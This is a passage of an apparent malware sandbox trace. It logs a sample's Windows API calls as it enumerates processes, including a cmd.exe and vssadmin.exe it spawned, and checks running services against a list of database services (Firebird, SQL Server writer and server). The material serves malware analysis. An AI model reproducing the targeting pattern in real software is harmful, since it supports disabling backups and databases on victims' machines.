cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0174.747] lstrlenW (lpString="SearchUI.exe") returned 12 [0174.747] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0174.747] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0174.747] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0174.747] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0174.747] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0174.748] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0174.748] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0174.748] lstrlenW (lpString="cmd.exe") returned 7 [0174.748] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0174.749] lstrlenW (lpString="conhost.exe") returned 11 [0174.749] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0174.749] lstrlenW (lpString="consent.exe") returned 11 [0174.749] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0174.750] lstrlenW (lpString="vssadmin.exe") returned 12 [0174.750] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0174.750] CloseHandle (hObject=0x4dc) returned 1 [0174.750] Sleep (dwMilliseconds=0x1f4) [0175.580] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x408e190 [0175.581] EnumServicesStatusExW (in: hSCManager=0x408e190, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0175.582] GetLastError () returned 0xea [0175.582] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1bc4) returned 0x4181fb8 [0175.583] EnumServicesStatusExW (in: hSCManager=0x408e190, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4181fb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4181fb8, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0175.583] CloseServiceHandle (hSCObject=0x408e190) returned 1 [0175.584] lstrlenW (lpString="Appinfo") returned 7 [0175.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0175.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0175.584] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0175.584] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0175.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0175.584] lstrlenW (lpString="AppXSvc") returned 7 [0175.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0175.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0175.584] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0175.584] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0175.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0175.584] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0175.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0175.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0175.584] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0175.584] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0175.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0175.584] lstrlenW (lpString="Audiosrv") returned 8 [0175.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0175.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0175.584] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0175.584] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0175.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0175.584] lstrlenW (lpString="BFE") returned 3 [0175.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0175.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0175.584] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0175.584] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0175.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0175.584] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0175.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0175.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0175.585] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0175.585] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0175.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0175.585] lstrlenW (lpString="CDPSvc") returned 6 [0175.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0175.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0175.585] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0175.585] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0175.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0175.585] lstrlenW (lpString="ClickToRunSvc") returned 13 [0175.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0175.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0175.585] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0175.585] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0175.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0175.585] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0175.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0175.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0175.585] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0175.585] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0175.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0175.585] lstrlenW (lpString="CryptSvc") returned 8 [0175.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0175.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0175.585] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0175.585] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0175.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0175.585] lstrlenW (lpString="DcomLaunch") returned 10 [0175.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0175.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0175.585] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0175.586] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0175.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0175.586] lstrlenW (lpString="DeviceAssociationService") returned 24 [0175.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0175.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0175.586] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0175.586] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0175.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0175.586] lstrlenW (lpString="Dhcp") returned 4 [0175.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0175.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0175.586] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0175.586] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0175.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0175.586] lstrlenW (lpString="Dnscache") returned 8 [0175.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0175.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0175.586] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0175.586] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0175.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0175.586] lstrlenW (lpString="DPS") returned 3 [0175.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0175.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0175.586] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0175.586] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0175.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0175.586] lstrlenW (lpString="DusmSvc") returned 7 [0175.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0175.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0175.586] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0175.586] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0175.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0175.586] lstrlenW (lpString="EventLog") returned 8 [0175.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0175.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0175.587] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0175.587] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0175.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0175.587] lstrlenW (lpString="EventSystem") returned 11 [0175.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0175.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0175.587] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0175.587] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0175.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0175.587] lstrlenW (lpString="FontCache") returned 9 [0175.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0175.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0175.587] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0175.587] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0175.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0175.587] lstrlenW (lpString="gpsvc") returned 5 [0175.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0175.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0175.587] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0175.587] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0175.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0175.587] lstrlenW (lpString="iphlpsvc") returned 8 [0175.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0175.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0175.587] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0175.587] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0175.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0175.587] lstrlenW (lpString="KeyIso") returned 6 [0175.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0175.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0175.587] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0175.588] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0175.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0175.588] lstrlenW (lpString="LanmanServer") returned 12 [0175.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0175.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0175.588] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0175.588] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0175.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0175.588] lstrlenW (lpString="LanmanWorkstation") returned 17 [0175.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0175.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0175.588] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0175.588] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0175.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0175.588] lstrlenW (lpString="lfsvc") returned 5 [0175.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0175.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0175.588] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0175.588] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0175.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0175.588] lstrlenW (lpString="lmhosts") returned 7 [0175.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0175.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0175.588] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0175.588] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0175.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0175.588] lstrlenW (lpString="LSM") returned 3 [0175.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0175.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0175.588] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0175.588] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0175.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0175.588] lstrlenW (lpString="MpsSvc") returned 6 [0175.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0175.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0175.589] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0175.589] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0175.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0175.589] lstrlenW (lpString="NcbService") returned 10 [0175.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0175.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0175.589] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0175.800] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0175.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0175.800] lstrlenW (lpString="netprofm") returned 8 [0175.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0175.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0175.801] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0175.801] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0175.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0175.801] lstrlenW (lpString="NgcSvc") returned 6 [0175.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0175.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0175.801] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0175.801] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0175.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0175.801] lstrlenW (lpString="NlaSvc") returned 6 [0175.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0175.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0175.801] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0175.801] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0175.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0175.801] lstrlenW (lpString="nsi") returned 3 [0175.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0175.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0175.801] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0175.801] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0175.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0175.801] lstrlenW (lpString="PcaSvc") returned 6 [0175.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0175.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0175.801] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0175.801] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0175.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0175.801] lstrlenW (lpString="PlugPlay") returned 8 [0175.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0175.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0175.802] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0175.802] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0175.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0175.802] lstrlenW (lpString="Power") returned 5 [0175.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0175.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0175.802] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0175.802] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0175.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0175.802] lstrlenW (lpString="ProfSvc") returned 7 [0175.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0175.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0175.802] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0175.802] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0175.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0175.802] lstrlenW (lpString="RpcEptMapper") returned 12 [0175.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0175.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0175.802] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0175.802] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0175.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0175.802] lstrlenW (lpString="RpcSs") returned 5 [0175.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0175.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0175.802] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0175.802] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0175.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0175.802] lstrlenW (lpString="SamSs") returned 5 [0175.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0175.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0175.802] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0175.802] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0175.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0175.803] lstrlenW (lpString="Schedule") returned 8 [0175.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0175.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0175.803] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0175.803] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0175.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0175.803] lstrlenW (lpString="SecurityHealthService") returned 21 [0175.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0175.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0175.803] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0175.803] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0175.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0175.803] lstrlenW (lpString="SENS") returned 4 [0175.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0175.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0175.803] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0175.803] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0175.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0175.803] lstrlenW (lpString="ShellHWDetection") returned 16 [0175.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0175.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0175.803] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0175.803] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0175.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0175.803] lstrlenW (lpString="Spooler") returned 7 [0175.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0175.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0175.803] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0175.803] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0175.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0175.803] lstrlenW (lpString="StateRepository") returned 15 [0175.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0175.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0175.804] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0175.804] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0175.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0175.804] lstrlenW (lpString="SysMain") returned 7 [0175.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0175.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0175.804] lstrcmpiW 